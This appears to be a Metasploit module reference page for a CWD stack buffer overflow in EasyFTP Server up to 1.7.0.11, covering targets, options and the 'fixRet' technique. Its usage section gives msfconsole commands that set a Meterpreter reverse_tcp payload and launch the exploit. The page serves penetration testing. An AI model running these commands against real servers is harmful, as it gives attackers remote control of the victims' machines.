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EasyFTP Server <= 1.7.0.11 CWD Command Stack Buffer Overflow

This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which leads to a stack based buffer overflow. EasyFTP allows anonymous access by default; valid credentials are typically unnecessary to exploit this vulnerability. After version 1.7.0.12, this package was renamed "UplusFtp". This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'. This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by 'fixing' the return address post-exploitation. See references for more information.


Rank

  • Great

Authors

  • Paul Makowski < my.hndl [at] gmail.com >
  • jduck < jduck [at] metasploit.com >

References


Exploit Targets

  • 0 - Windows Universal - v1.7.0.2 (default)
  • 1 - Windows Universal - v1.7.0.3
  • 2 - Windows Universal - v1.7.0.4
  • 3 - Windows Universal - v1.7.0.5
  • 4 - Windows Universal - v1.7.0.6
  • 5 - Windows Universal - v1.7.0.7
  • 6 - Windows Universal - v1.7.0.8
  • 7 - Windows Universal - v1.7.0.9
  • 8 - Windows Universal - v1.7.0.10
  • 9 - Windows Universal - v1.7.0.11

Development


Similar Modules


Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/ftp/easyftp_cwd_fixret
msf exploit(easyftp_cwd_fixret) > show payloads
msf exploit(easyftp_cwd_fixret) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(easyftp_cwd_fixret) > set LHOST [MY IP ADDRESS]
msf exploit(easyftp_cwd_fixret) > set RHOST [TARGET IP]
msf exploit(easyftp_cwd_fixret) > exploit


Module Options

FTPPASS The password for the specified username (default: mozilla@example.com)
FTPUSER The username to authenticate as (default: anonymous)
RHOST The target address
RPORT The target port (default: 21)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
FTPDEBUG Whether or not to print verbose debug statements
FTPTimeout The number of seconds to wait for a reply from an FTP command
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)